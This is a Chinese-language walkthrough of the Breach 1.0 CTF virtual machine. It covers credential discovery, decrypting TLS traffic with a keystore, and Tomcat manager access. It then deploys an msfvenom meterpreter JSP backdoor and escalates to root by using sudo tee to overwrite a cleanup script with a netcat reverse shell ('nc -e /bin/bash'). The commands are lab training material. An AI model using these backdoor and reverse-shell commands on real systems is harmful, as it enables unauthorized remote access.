Breach 1.0
一、基本信息
名称:Breach 1.0
发布日期:2016.6.30
作者:mrb3n
系列:Breach
推特:@mrb3n813
二、靶机简介
Flags:
root:/root/flair.jpg
难度:中等
三、文件信息
文件名:Breach-1.0.zip
文件大小:1.9GB
下载地址:
MD5: F15490856100B3164D4E6807CFF744C5
SHA1: 812D56D6071A1859F03446FEE34532AC6A785414
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(ubuntu)
五、网络信息
DHCP服务:禁用
IP地址:192.168.110.140
六、环境配置
1.将靶机Breach在Vmware下设置为仅主机模式,并修改ip为192.168.110.140,这里演示的是mac环境下Vmware Fusion 11,只能命令修改host-only的ip(记得备份),命令如下:
1 sudo vi /Library/Preferences/VMware\ Fusion/networking2.将攻击机kali2021也选择用仅主机模式链接,启动,保证与靶机Breach在同一网段下,这里kali2021的ip为192.168.110.2。
七、攻略步骤
靶机端口扫描
1.Kali2021先用nmap对192.168.110.140(Breach)扫描,发现几乎是全端口开放,应该是伪造了:
1 nmap -v -A 192.168.110.140 -oN Breach.txt (端口扫描)
获取impresscms登录密码
1.直接访问192.168.110.140:80(Home page),发现初始页为一张图片,点击图片可以进入http://192.168.110.140/initech.html,这个页面下Home page,Cake,Stapler是三张图片,Employee portal是一个impresscms的登录页:
2.我们回到Home page看看有没有能登录的线索,源码里有一串明显是base64加密的注释:
3.Base64解码几次得到类似账号密码的东西,尝试去impresscms登录:
获取SSL证书,解析TLS流
1.登录后我们可以看到几封邮件,其中第三封邮件表示有一个peter的SSL证书被保存在192.168.110.140/.keystore:
3.这个链接指向一个流量包,当我们用wireshark打开时,发现是tls流,包括该页面本身也有提示表示:这个pCAP文件是有红色团队的重新攻击产生的,但是不能读取文件。而且告诉我们Keystore密码、key密码都设置成了tomcat。
由此推测:
a.这是一个流量包文件,不能读取很可能因为某些流量有SSL加密,前面的邮件中提供了一个keystore,这里提供了密码;
b.系统中可能存在tomcat:4.现在要利用工具解析之前获得的keystore,使用keytool,命令如下:
1
2
3 keytool -list -keystore keystore (密码:tomcat)
keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat (密码连续三次:tomcat)5.然后利用生成的.p12证书导入wireshark,再打开刚才的流量包可以看到解析出的http包,发现是tomcat的管理页面和密码:
登录Tomcat,上传shell
1.可以登录试试看,报错了,切换浏览器还是报错了:
2.这个时候用burpsuite先代理一下,再放行,就能通过了(kali2021设置在了仅主机模式下,仍无法访问可从外部主机BP代理再放行访问tomcat):
3.使用msfvenom生成后门文件,命令如下:
1
2
3 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.2 LPORT=1234 -f jsp -o shell.jsp (生成后门)
zip -r shell.zip shell.jsp (压缩shell)
cp shell.zip shell.war (修改格式,便于上传)4.启动msfconsole,设置监听,命令如下:
1
2
3
4
5
6 msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.110.2
set lport 1234
run5.在tomcat上传生成的shell.war后门,并且访问https://192.168.110.140:8443/shell/shell.jsp,在msf下顺利拿到shell:
搜索帐户,准备提权
1.建立一个交互式的shell,发现了两个除root外值得关注的帐户,开始准备提权,命令如下:
1
2 python -c 'import pty;pty.spawn("/bin/sh")' (交互式shell)
cat /etc/passwd2.而/var/www/5446目录下,看到两个文件名很特殊的文件,是mysql的数据库连接文件,使用的root账户,不需要密码:
3.输入命令,mysql -u root -p ,进入mysql,提示输入密码,直接回车,成功连接进入mysql数据库,查看账号密码,得到milton账户的密码哈希,解密为:thelaststraw:
4.这时我们就可以尝试用milton的帐户进行登录了,而查看历史命令,发现有切换到blumbergh这个账户的操作,操作之后有切换到root的操作,所以可能提权要进入到blumbergh这个账户:
5.继续分析,我们发现milton帐户下有一张图片,包括之前在服务器上发现的一共七张图片,用图片分析工具exiftool一一分析,可以得到类似密码的字串:
6.现在可以登录到blumbergh帐户,再次查看历史命令,发现/usr/share/cleanup目录下的tidyup.sh脚本文件:
提权,获取flag
1.输入命令:sudo -l,查看能够root权限执行的命令有tee,tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:
1
2
3
4 cd /home/blumbergh (切换到blumbergh的家目录中)
echo "nc -e /bin/bash 192.168.110.2 2345" > shell.txt (将nc执行的反弹shell命令,写入到shell.txt文件)
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh (使用tee命令将shell.txt内容输出到tidyup.sh)
cat /usr/share/cleanup/tidyup.sh (查看tidyup.sh文件写入成功)2.Kali2021中,输入命令:nc -lvvp 2345,监听2345端口的动静,等到一段时间,成功接到root的shell,查看/root目录下,有个flair.jpg的文件,应该是最后的flag,将文件再次复制到/var/www/html/images中,查看图片,成功得到flag: